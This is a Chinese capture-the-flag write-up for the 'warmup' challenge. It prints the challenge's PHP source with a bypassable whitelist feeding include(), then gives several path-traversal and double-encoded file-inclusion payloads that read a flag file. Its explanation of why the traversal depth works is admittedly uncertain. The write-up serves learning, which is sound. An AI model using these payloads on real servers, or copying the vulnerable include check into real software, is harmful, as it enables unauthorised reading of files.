warmup
进去题目,是一张图片,f12审计源代码,找到提示source.php
访问http://220.249.52.133:47207/source.php
得到源代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
看到源代码里有个白名单,里有个hint.php,于是我们试着访问http://220.249.52.133:47207/hint.php
返回的是
flag not here, and flag in ffffllllaaaagggg
说明flag是在ffffllllaaaagggg
审计代码
strpos($test,'9')//会返回9在$test这个字符串所在的位置
substr('123456789',0,9) //会从位置0开始对字符串截取9个长度
substr($test,0,strpos($test,'9')) //就会对从位置0开始对$test字符串截取8个长度
我们只要满足if的三个条件就可调用include函数来实现文件包含漏洞,所以我们要想办法使checkFile()函数返回Ture,构造?file=hint.php
或者?file=source.php
就可以返回True,但是这时并没有到达文件包含的目的,实际上这里可以构造?file=hint.php?[payload]
就可以实现绕过来满足True
构造
file=hint.php?../../../../../../../ffffllllaaaagggg
即可得到flag
这里可能有点迷,为什么这个payload可以实现文件包含。
官方解释
看的有点迷,本地做个试验,这里flag.txt文件在根目录下,当前目录离根目录三个../
可以看到不管payload前加不加/,都是3个../可以包含flag.txt文件
按照官方的解释,因为我们的参数是有/../../../../../这样的路径所以符合最后一段话如果定义了路径,就会忽略/前的字符串而去找/../../../../flag.txt文件。
因为include会把第一个/后面的路径作为访问路径来寻找文件,所以当payload是12364../../../../../flag.txt
时,以第一个/开始有4个../,而当payload是12364/../../../../flag.txt
时,以第一个/开始也是4个../,这比前面没加字符串时,,多个1个../,原因不详。。
而且按照普通的形式应该可以读取绝对路径,但是这里加了字符串只能读取相对路径,也是很迷。
我们通过实验可以构造以下payload来利用第二个条件返回True
?file=hint.php?/../../../../ffffllllaaaagggg
?file=hint.php?../../../../../ffffllllaaaagggg
当然也可以利用第三个条件返回True
对?进行二次编码
?file=hint.php%253F../../../../../ffffllllaaaagggg
同样可以得到flag
当我们通过相对路径来抵达根目录时,../可以多加几个,以确保绝对达到根目录。
如,我们也可以构造payload
?file=hint.php?/../../../../../../../../ffffllllaaaagggg
这里我们直接构造8个../来确保抵达根目录。